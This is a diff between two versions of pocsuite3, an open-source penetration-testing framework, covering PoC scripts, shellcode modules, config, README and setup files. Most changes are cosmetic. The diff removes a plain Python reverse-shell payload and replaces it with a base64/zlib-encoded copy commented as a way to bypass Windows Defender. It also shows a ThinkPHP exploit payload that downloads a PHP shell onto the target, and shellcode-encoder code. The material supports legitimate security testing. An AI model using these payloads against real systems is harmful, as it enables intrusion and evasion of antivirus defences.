漏洞影响版本 - vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # 漏洞类型,类型参考见 漏洞类型规范表 + vulID = "1571" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 + version = "1" # 默认为1 + author = "seebug" # PoC作者的大名 + vulDate = "2014-10-16" # 漏洞公开的时间,不知道就写今天 + createDate = "2014-10-16" # 编写 PoC 的日期 + updateDate = "2014-10-16" # PoC 更新的时间,默认和编写时间一样 + references = ["https://xxx.xx.com.cn"] # 漏洞地址来源,0day不用写 + name = "XXXX SQL注入漏洞 PoC" # PoC 名称 + appPowerLink = "https://www.drupal.org/" # 漏洞厂商主页地址 + appName = "Drupal" # 漏洞应用名称 + appVersion = "7.x" # 漏洞影响版本 + vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # 漏洞类型,类型参考见 漏洞类型规范表 category = POC_CATEGORY.EXPLOITS.WEBAPP - samples = [] # 测试样列,就是用 PoC 测试成功的网站 - install_requires = [] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写 - desc = ''' + samples = [] # 测试样列,就是用 PoC 测试成功的网站 + install_requires = [] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写 + desc = """ Drupal 在处理 IN 语句时，展开数组时 key 带入 SQL 语句导致 SQL 注入， 可以添加管理员、造成信息泄露。 - ''' # 漏洞简要描述 - pocDesc = ''' - poc的用法描述 - ''' # POC用法描述 + """ # 漏洞简要描述 + pocDesc = """ + poc的用法描述 + """ # POC用法描述 def _options(self): - opt = OrderedDict() # value = self.get_option('key') - opt["string"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True) - opt["integer"] = OptInteger('', description='这个poc需要用户密码，请输出用户密码', require=False) + opt = OrderedDict() # value = self.get_option('key') + opt["string"] = OptString("", description="这个poc需要用户登录，请输入登录账号", require=True) + opt["integer"] = OptInteger( + "", description="这个poc需要用户密码，请输出用户密码", require=False + ) return opt def _verify(self): @@ -44,22 +60,33 @@ result = { # 不管是验证模式或者攻击模式，返回结果 result 中的 key 值必须按照下面的规范来写 # [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard ) - 'Result': { - 'DBInfo': {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx', 'Uid': 'xxx', 'Groupid': 'xxx'}, - 'ShellInfo': {'URL': 'xxx', 'Content': 'xxx'}, - 'FileInfo': {'Filename': 'xxx', 'Content': 'xxx'}, - 'XSSInfo': {'URL': 'xxx', 'Payload': 'xxx'}, - 'AdminInfo': {'Uid': 'xxx', 'Username': 'xxx', 'Password': 'xxx'}, - 'Database': {'Hostname': 'xxx', 'Username': 'xxx', 'Password': 'xxx', 'DBname': 'xxx'}, - 'VerifyInfo': {'URL': 'xxx', 'Postdata': 'xxx', 'Path': 'xxx'}, - 'SiteAttr': {'Process': 'xxx'}, - 'Stdout': 'result output string' + "Result": { + "DBInfo": { + "Username": "xxx", + "Password": "xxx", + "Salt": "xxx", + "Uid": "xxx", + "Groupid": "xxx", + }, + "ShellInfo": {"URL": "xxx", "Content": "xxx"}, + "FileInfo": {"Filename": "xxx", "Content": "xxx"}, + "XSSInfo": {"URL": "xxx", "Payload": "xxx"}, + "AdminInfo": {"Uid": "xxx", "Username": "xxx", "Password": "xxx"}, + "Database": { + "Hostname": "xxx", + "Username": "xxx", + "Password": "xxx", + "DBname": "xxx", + }, + "VerifyInfo": {"URL": "xxx", "Postdata": "xxx", "Path": "xxx"}, + "SiteAttr": {"Process": "xxx"}, + "Stdout": "result output string", } } if result: # result是返回结果 output.success(result) else: - output.fail('target is not vulnerable') + output.fail("target is not vulnerable") return output def _attack(self): diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/drupalgeddon2.py pocsuite3-1.8.10/pocsuite3/pocs/drupalgeddon2.py --- pocsuite3-1.7.7/pocsuite3/pocs/drupalgeddon2.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/drupalgeddon2.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/ecshop_rce.py pocsuite3-1.8.10/pocsuite3/pocs/ecshop_rce.py --- pocsuite3-1.7.7/pocsuite3/pocs/ecshop_rce.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/ecshop_rce.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import base64 diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/ftp_burst.py pocsuite3-1.8.10/pocsuite3/pocs/ftp_burst.py --- pocsuite3-1.7.7/pocsuite3/pocs/ftp_burst.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/ftp_burst.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import ftplib diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/libssh_auth_bypass.py pocsuite3-1.8.10/pocsuite3/pocs/libssh_auth_bypass.py --- pocsuite3-1.7.7/pocsuite3/pocs/libssh_auth_bypass.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/libssh_auth_bypass.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import os diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/node_red_unauthorized_rce.py pocsuite3-1.8.10/pocsuite3/pocs/node_red_unauthorized_rce.py --- pocsuite3-1.7.7/pocsuite3/pocs/node_red_unauthorized_rce.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/node_red_unauthorized_rce.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import asyncio import json diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/redis_unauthorized_access.py pocsuite3-1.8.10/pocsuite3/pocs/redis_unauthorized_access.py --- pocsuite3-1.7.7/pocsuite3/pocs/redis_unauthorized_access.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/redis_unauthorized_access.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,11 +1,10 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import socket -from pocsuite3.lib.utils import url2ip from pocsuite3.api import POCBase, Output, register_poc, logger, POC_CATEGORY, VUL_TYPE diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/ssh_burst.py pocsuite3-1.8.10/pocsuite3/pocs/ssh_burst.py --- pocsuite3-1.7.7/pocsuite3/pocs/ssh_burst.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/ssh_burst.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import itertools diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/telnet_burst.py pocsuite3-1.8.10/pocsuite3/pocs/telnet_burst.py --- pocsuite3-1.7.7/pocsuite3/pocs/telnet_burst.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/telnet_burst.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import itertools import queue diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/thinkphp_rce2.py pocsuite3-1.8.10/pocsuite3/pocs/thinkphp_rce2.py --- pocsuite3-1.7.7/pocsuite3/pocs/thinkphp_rce2.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/thinkphp_rce2.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port, VUL_TYPE @@ -57,7 +57,7 @@ def _attack(self): result = {} filename = random_str(6) + ".php" - shell_addr = "http://pocsuite.org/include_files/php_attack.txt" + shell_addr = "https://pocsuite.org/include_files/php_attack.txt" payload = "/index.php?s=captcha&Test=print_r(file_put_contents(%27{filename}%27,file_get_contents(%27{url}%27)))".format( filename=filename, url=shell_addr) diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/thinkphp_rce.py pocsuite3-1.8.10/pocsuite3/pocs/thinkphp_rce.py --- pocsuite3-1.7.7/pocsuite3/pocs/thinkphp_rce.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/thinkphp_rce.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ from collections import OrderedDict from urllib.parse import quote diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/wd_nas_login_bypass_rce.py pocsuite3-1.8.10/pocsuite3/pocs/wd_nas_login_bypass_rce.py --- pocsuite3-1.7.7/pocsuite3/pocs/wd_nas_login_bypass_rce.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/wd_nas_login_bypass_rce.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ from collections import OrderedDict from urllib.parse import urljoin diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/weblogic_cve_2017_10271_unserialization.py pocsuite3-1.8.10/pocsuite3/pocs/weblogic_cve_2017_10271_unserialization.py --- pocsuite3-1.7.7/pocsuite3/pocs/weblogic_cve_2017_10271_unserialization.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/weblogic_cve_2017_10271_unserialization.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,7 +1,7 @@ """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md -for more about information, plz visit http://pocsuite.org +for more about information, plz visit https://pocsuite.org """ import re @@ -23,7 +23,7 @@ references = ['https://www.seebug.org/vuldb/ssvid-97009'] name = 'Weblogic < 10.3.6 wls-wsat XMLDecoder 反序列化漏洞（CVE-2017-10271）' appPowerLink = '' - appName = 'ECSHOP' + appName = 'Weblogic' appVersion = '< 10.3.6' vulType = VUL_TYPE.CODE_EXECUTION desc = ''' diff -Nru pocsuite3-1.7.7/pocsuite3/shellcodes/encoder.py pocsuite3-1.8.10/pocsuite3/shellcodes/encoder.py --- pocsuite3-1.7.7/pocsuite3/shellcodes/encoder.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/shellcodes/encoder.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,4 +1,4 @@ -from random import * +from random import randint import types from pocsuite3.lib.core.common import create_shellcode @@ -22,7 +22,7 @@ @staticmethod def create_allowed_chars(bad_chars): - allowed_chars = range(0x61, 0x7b)+range(0x42, 0x5b) + range(0x30,0x3a) + allowed_chars = range(0x61, 0x7b)+range(0x42, 0x5b) + range(0x30, 0x3a) for ch in bad_chars: if ord(ch) in allowed_chars: allowed_chars.remove(ord(ch)) @@ -31,13 +31,13 @@ def encode(self, payload): shell = [ord(c) for c in payload] reg = self.buffer_register.upper() - stub =self.create_decoder_stub(reg) - offset=0 - encoded="" + stub = self.create_decoder_stub(reg) + offset = 0 + encoded = "" while offset < len(shell): block = shell[offset: offset+1] - encoded+=self.encode_byte(block) - offset+=1 + encoded += self.encode_byte(block) + offset += 1 return stub+encoded+'AA' @@ -78,14 +78,14 @@ edxmod = 'B' * (17 - (self.offset - 16)) regprefix = { - 'EAX' : 'PY' + mod, # push eax, pop ecx - 'ECX' : 'I' + mod, # dec ecx - 'EDX' : edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx - 'EBX' : 'SY' + mod, # push ebx, pop ecx - 'ESP' : 'TY' + mod, # push esp, pop ecx - 'EBP' : 'UY' + mod, # push ebp, pop ecx - 'ESI' : 'VY' + mod, # push esi, pop ecx - 'EDI' : 'WY' + mod, # push edi, pop ecx + 'EAX': 'PY' + mod, # push eax, pop ecx + 'ECX': 'I' + mod, # dec ecx + 'EDX': edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx + 'EBX': 'SY' + mod, # push ebx, pop ecx + 'ESP': 'TY' + mod, # push esp, pop ecx + 'EBP': 'UY' + mod, # push ebp, pop ecx + 'ESI': 'VY' + mod, # push esi, pop ecx + 'EDI': 'WY' + mod, # push edi, pop ecx } reg = reg.upper() @@ -95,7 +95,7 @@ def encode_byte(self, block): # No, not nipple. - nibble_chars = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]] + nibble_chars = [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []] for ch in self.allowed_chars: nibble_chars[ch & 0x0F].append(chr(ch)) poss_encodings = [] @@ -111,7 +111,7 @@ # In the decoding process, the low nibble of the second char gets combined # (either ADDed or XORed depending on the encoder) with the high nibble of the first char, # and we want the high nibble of our input byte to result - second_low_nibble = (block_high_nibble^first_high_nibble) & 0x0F + second_low_nibble = (block_high_nibble ^ first_high_nibble) & 0x0F # Find valid second chars for this first char and add each combination to our possible encodings second_chars = nibble_chars[second_low_nibble] @@ -595,5 +595,5 @@ encoded_shell = encoder.encode(byte_str) if debug: print("Length of encoded shellcode: %s" % len(encoded_shell)) - print(''.join("\\x%02x"%ord(c) for c in encoded_shell)) + print(''.join("\\x%02x" % ord(c) for c in encoded_shell)) return encoded_shell diff -Nru pocsuite3-1.7.7/pocsuite3/shellcodes/generator.py pocsuite3-1.8.10/pocsuite3/shellcodes/generator.py --- pocsuite3-1.7.7/pocsuite3/shellcodes/generator.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/shellcodes/generator.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,12 +1,18 @@ import struct import time import os - from pocsuite3.lib.core.data import paths, logger - -from pocsuite3.lib.core.common import validate_ip_addr, port_to_hex, port_to_dd, ip_to_hex, ip_to_dd, create_shellcode, \ - read_binary, get_public_type_members from pocsuite3.lib.core.enums import OS, OS_ARCH, SHELLCODE_CONNECTION +from pocsuite3.lib.core.common import ( + validate_ip_addr, + port_to_hex, + port_to_dd, + ip_to_hex, + ip_to_dd, + create_shellcode, + read_binary, + get_public_type_members, +) class ShellGenerator: diff -Nru pocsuite3-1.7.7/pocsuite3/shellcodes/__init__.py pocsuite3-1.8.10/pocsuite3/shellcodes/__init__.py --- pocsuite3-1.7.7/pocsuite3/shellcodes/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/shellcodes/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -149,4 +149,4 @@ # use_precompiled=False ) # print(shellcode) - print("[] Generate shellcode finished") \ No newline at end of file + print("[] Generate shellcode finished") diff -Nru pocsuite3-1.7.7/pocsuite3/shellcodes/python.py pocsuite3-1.8.10/pocsuite3/shellcodes/python.py --- pocsuite3-1.7.7/pocsuite3/shellcodes/python.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/shellcodes/python.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,3 +1,5 @@ +import zlib +import base64 from .base import ShellCode @@ -7,7 +9,8 @@ """ def __init__(self, connect_back_ip='localhost', connect_back_port=5555): - ShellCode.__init__(self, connect_back_ip=connect_back_ip, connect_back_port=connect_back_port) + ShellCode.__init__(self, connect_back_ip=connect_back_ip, + connect_back_port=connect_back_port) def get_python_code(self, bad_chars): """ @@ -18,34 +21,23 @@ print("Settings for connect back listener must be defined") return False - python_code = """ - #!/usr/bin/python - import socket,subprocess - HOST = '{{LOCALHOST}}' # The remote host - PORT = {{LOCALPORT}} # The same port as used by the server - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - # connect to attacker machine - s.connect((HOST, PORT)) - # send we are connected - s.send('[*] Connection Established!') - # start loop - while 1: - # recieve shell command - data = s.recv(1024) - print data - # if its quit, then break out and close socket - if data == 'quit' or data == 'q': - break - # do shell command - proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) - # read output - stdout_value = proc.stdout.read() + proc.stderr.read() - # send output to attacker - s.send(stdout_value) - # close socket - s.close() - """ - + # compress and base64 encode to bypass windows defender + python_code = ( + b'eJxtUsFu2zAMvfsrWORgezOctdhpQA5BkGHFuiZofBuGQLY4' + b'WKgteZKcoijy7yUlNzOK6mLz8fHpkeLiajk6u6yVXg7PvjU6' + b'Uf1grAdnmkf0hRvrwZoGnUt+7A4VrCB9ebnbbdZ3HJ7PKdBZ' + b'QNUiWOyNR2iN88l+98DcicrR+Qzwn+tEjxDuEQ5GhxLqZ/Cc' + b'QHtCmzgqjg7K+MmmaP39eHu/rYq37GG3+Xk8VA/b9a88WUBj' + b'tMbGgzcgvBdEsdCLplUaE1dO2Sxj7wWwrZyrHGoJTwjC4psC' + b'SuIznqW/P/2BTUSV0bB1XtSdci3KqzRUe0F9dMYMyVOrOoTr' + b'b0ns1GKj8ERNtdh1pNz3QsuQk8ILbrEkyim7/nLzNQ/4YJX2' + b'ITtJqL+gvIN/o/IFD0hDbVE8ghlpdOS66YzDaRihhAqiOL0U' + b'V6Vg7AxJozc+QWi6RpoPTPLDs8nLCpR7M6DOWK2I/FVlR6R/' + b'L8nQas683W8DjtZ+iCv9Hs4vUxOS+xvG2FEUP55ENyLZ4ZIy' + b'YiVTsxw+X0C6bQInsfC0UWy+FFE4PvBcP+zQfKS0NByS3itr' + b'QQTj' + ) + python_code = zlib.decompress(base64.b64decode(python_code)).decode() python_code = self.format_shellcode(python_code) return python_code diff -Nru pocsuite3-1.7.7/pocsuite.ini pocsuite3-1.8.10/pocsuite.ini --- pocsuite3-1.7.7/pocsuite.ini 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite.ini 2022-01-10 22:07:00.000000000 +0000 @@ -4,7 +4,9 @@ ; scan multiple targets given in a textual file url_file = ; load poc file from local or remote from seebug website -poc = +poc = ecshop_rce.py +; filter poc by keyword, e.g. cve-2021-22005 +poc_keyword = [Mode] ; run poc with verify mode @@ -19,17 +21,15 @@ host = ; http referer header value referer = -; http user-agent header value +; http user-agent header value (default random) agent = -; use randomly selected http user-agent header value -random_agent = False ; use a proxy to connect to the target url proxy = ; proxy authentication credentials (name:password) proxy_cred = ; seconds to wait before timeout connection (default 30) timeout = -; time out retrials times. +; time out retrials times retry = ; delay between two request of one thread delay = @@ -43,34 +43,48 @@ login_pass = ; Shodan token shodan_token = +; fofa user +fofa_user = +; fofa token +fofa_token = +; quake token +quake_token = ; Censys uid censys_uid = ; Censys secret censys_secret = [Modules] -; zoomeye dork used for search. +; zoomeye dork used for search dork = -; zoomeye dork used for search. +; zoomeye dork used for search dork_zoomeye = -; shodan dork used for search. +; shodan dork used for search dork_shodan = -; censys dork used for search. +; censys dork used for search dork_censys = -; max page used in search api(10 targets/page). +; fofa dork used for search +dork_fofa = +; quake dork used for search +dork_quake = +; max page used in search api max_page = 1 ; search type used in zoomeye api, web or host search_type = host -; seebug keyword used for search. +; seebug keyword used for search vul_keyword = -; seebug ssvid number for target poc. +; seebug ssvid number for target poc ssvid = ; connect back host for target poc in shell mode connect_back_host = ; connect back port for target poc in shell mode connect_back_port = -; sompare popular web search engines +; enable TLS listener in shell mode +enable_tls_listener = False +; compare popular web search engines comparison = False +; whether dork is in base64 format +dork_b64 = False [Optimization] ; load plugins to execute @@ -79,12 +93,23 @@ pocs_path = ; max number of concurrent network requests (default 1) threads = 1 -; automatically choose defaut choice without asking. +; automatically choose defaut choice without asking batch = ; check install_requires check_requires = False -; activate quiet mode, working without logger. +; activate quiet mode, working without logger quiet = False +; hiden sensitive information when published to the network +ppt = False +; use scapy capture flow +pcap = False +; export suricata rules, default export request and response +rule = False +; only export suricata request rule +rule_req = False +; specify the name of the export rule file +rule_filename = [Poc options] - +; show all definition options +show_options = True diff -Nru pocsuite3-1.7.7/README.md pocsuite3-1.8.10/README.md --- pocsuite3-1.7.7/README.md 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/README.md 2022-01-10 22:07:00.000000000 +0000 @@ -3,23 +3,23 @@ [![Python 3.x](https://img.shields.io/badge/python-3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/knownsec/Pocsuite/master/docs/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@seebug-blue.svg)](https://twitter.com/seebug_team) [![build](https://api.travis-ci.org/knownsec/pocsuite3.svg)](https://travis-ci.org/knownsec/pocsuite3) ## Legal Disclaimer -Usage of pocsuite for attacking targets without prior mutual consent is illegal. -pocsuite is for security testing purposes only +Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. +pocsuite3 is for security testing purposes only ## 法律免责声明 -未经事先双方同意，使用pocsuite攻击目标是非法的。 -pocsuite仅用于安全测试目的 +未经事先双方同意，使用 pocsuite3 攻击目标是非法的。 +pocsuite3 仅用于安全测试目的 ## Overview pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the [**Knownsec 404 Team**](http://www.knownsec.com/). -It comes with a powerful proof-of-concept engine, many powerful features for the ultimate penetration testers and security researchers. +It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers. ## Features -* PoC scripts can running with `attack`,`verify`, `shell` mode in different way +* PoC scripts can running with `verify`, `attack`, `shell` mode in different way * Plugin ecosystem -* Dynamic loading PoC script from any where (local file, redis , database, Seebug ...) -* Load multi-target from any where (CIDR, local file, redis , database, Zoomeye, Shodan ...) +* Dynamic loading PoC script from any where (local file, redis, database, Seebug ...) +* Load multi-target from any where (CIDR, local file, redis, database, Zoomeye, Shodan ...) * Results can be easily exported * Dynamic patch and hook requests * Both command line tool and python package import to use @@ -30,6 +30,7 @@ * Integrate with [ZoomEye](https://www.zoomeye.org) (for load target from ZoomEye `Dork`) * Integrate with [Shodan](https://www.shodan.io) (for load target from Shodan `Dork`) * Integrate with [Ceye](http://ceye.io/) (for verify blind DNS and HTTP request) +* Integrate with [Interactsh](https://github.com/projectdiscovery/interactsh) (for verify blind DNS and HTTP request) * Integrate with Fofa (for load target from Fofa `Dork`) * Friendly debug PoC scripts with IDEs * More ... @@ -53,17 +54,45 @@ ## Requirements -- Python 3.4+ -- Works on Linux, Windows, Mac OSX, BSD +- Python 3.6+ +- Works on Linux, Windows, Mac OSX, BSD, etc. ## Installation -The quick way: +Paste at a terminal prompt: + +### Python pip + +``` bash +pip3 install pocsuite3 + +# use other pypi mirror +pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3 +``` + +### MacOS ``` bash -$ pip3 install pocsuite3 +brew update +brew info pocsuite3 +brew install pocsuite3 ``` +### [Debian](https://tracker.debian.org/pkg/pocsuite3), [Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3), [Kali](http://pkg.kali.org/pkg/pocsuite3) + +``` bash +sudo apt update +sudo apt install pocsuite3 +``` + +### ArchLinux + +``` bash +yay pocsuite3 +``` + +### + Or click [here](https://github.com/knownsec/pocsuite3/archive/master.zip) to download the latest source zip package and extract ``` bash @@ -71,10 +100,11 @@ $ unzip master.zip $ cd pocsuite3-master $ pip3 install -r requirements.txt +$ python3 setup.py install ``` -The latest version of this software is available from: http://pocsuite.org +The latest version of this software is available at: https://pocsuite.org ## Documentation @@ -124,7 +154,7 @@ * [Change Log](./CHANGELOG.md) * [Bug tracking](https://github.com/knownsec/pocsuite3/issues) * [Copyright](./COPYING) -* [Pocsuite](http://pocsuite.org) +* [Pocsuite](https://pocsuite.org) * [Seebug](https://www.seebug.org) * [ZoomEye](https://www.zoomeye.org) * [Knownsec](https://www.knownsec.com) diff -Nru pocsuite3-1.7.7/requirements.txt pocsuite3-1.8.10/requirements.txt --- pocsuite3-1.7.7/requirements.txt 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/requirements.txt 2022-01-10 22:07:00.000000000 +0000 @@ -2,7 +2,6 @@ PySocks >= 1.7.1 requests-toolbelt >= 0.9.1 urllib3 >= 1.25.6 -setuptools >= 51.1.2 chardet >= 3.0.4 termcolor >= 1.1.0 colorama >= 0.4.4 @@ -10,3 +9,5 @@ colorlog >= 4.7.2 scapy >= 2.4.4 pyOpenSSL >= 20.0.0 +Faker >= 0.7.7 +pycryptodomex >= 3.9.0 diff -Nru pocsuite3-1.7.7/setup.py pocsuite3-1.8.10/setup.py --- pocsuite3-1.7.7/setup.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/setup.py 2022-01-10 22:07:00.000000000 +0000 @@ -7,28 +7,34 @@ def find_packages(where='.'): # os.walk -> list[(dirname, list[subdirs], list[files])] - return [folder.replace("/", ".").lstrip(".") - for (folder, _, fils) in os.walk(where) - if "__init__.py" in fils] + return [folder.replace(os.sep, ".").strip(".") + for (folder, _, files) in os.walk(where) + if "__init__.py" in files] + + +long_description = ( + 'Pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework ' + 'developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice ' + 'features for the ultimate penetration testers and security researchers.' +) setup( name='pocsuite3', - version='1.7.7', - url='http://pocsuite.org', - description='Pocsuite is an open-sourced remote vulnerability testing framework developed by the Knownsec Security Team.', - long_description="""\ -Pocsuite is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec Security Team. It comes with a powerful proof-of-concept engine, many niche features for the ultimate penetration testers and security researchers.""", + version='1.8.10', + url='https://pocsuite.org', + description='Open-sourced remote vulnerability testing framework.', + long_description=long_description, keywords='PoC,Exp,Pocsuite', - author='Knownsec Security Team', - author_email='s1@seebug.org', - maintainer='pocsuite developers', + author='Knownsec 404 Team', + author_email='404-team@knownsec.com', + maintainer='Knownsec 404 Team', platforms=['any'], - license='GPL 2.0', + license='GPLv2', zip_safe=False, packages=find_packages(), include_package_data=True, - python_requires='>=3.4', + python_requires='>=3.6', entry_points={ "console_scripts": [ "pocsuite = pocsuite3.cli:main", @@ -36,17 +42,22 @@ ] }, install_requires=[ - "requests >= 2.22.0", - "PySocks >= 1.7.1", - "requests-toolbelt >= 0.9.1", - "urllib3 >= 1.25.6", - "setuptools >= 51.1.2", - "chardet >= 3.0.4", - "termcolor >= 1.1.0", - "colorama >= 0.4.4", - "prettytable >= 0.7.2", - "colorlog >= 4.7.2", - "scapy >= 2.4.4", - "pyOpenSSL >= 20.0.0" + "requests", + "requests-toolbelt", + "PySocks", + "urllib3", + "chardet", + "termcolor", + "colorama", + "prettytable", + "colorlog", + "scapy", + "Faker", + "pycryptodomex" ], + extras_require={ + 'complete': [ + 'pyOpenSSL' + ], + } ) diff -Nru pocsuite3-1.7.7/tests/login_demo.py pocsuite3-1.8.10/tests/login_demo.py --- pocsuite3-1.7.7/tests/login_demo.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/tests/login_demo.py 2022-01-10 22:07:00.000000000 +0000 @@ -38,7 +38,6 @@ result = {} payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password")) r = requests.post(self.url, data=payload) - print(r.text) if r.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url diff -Nru pocsuite3-1.7.7/tests/test_api_get_poc_info.py pocsuite3-1.8.10/tests/test_api_get_poc_info.py --- pocsuite3-1.7.7/tests/test_api_get_poc_info.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/tests/test_api_get_poc_info.py 2022-01-10 22:07:00.000000000 +0000 @@ -2,7 +2,7 @@ import unittest from pocsuite3.api import init_pocsuite -from pocsuite3.api import load_file_to_module, paths,load_string_to_module +from pocsuite3.api import load_file_to_module, paths, load_string_to_module class TestCase(unittest.TestCase): @@ -80,4 +80,3 @@ mod = load_string_to_module(source) print(mod.get_infos()) self.assertTrue(len(mod.get_infos()) > 0) - diff -Nru pocsuite3-1.7.7/tests/test_check_install_requires.py 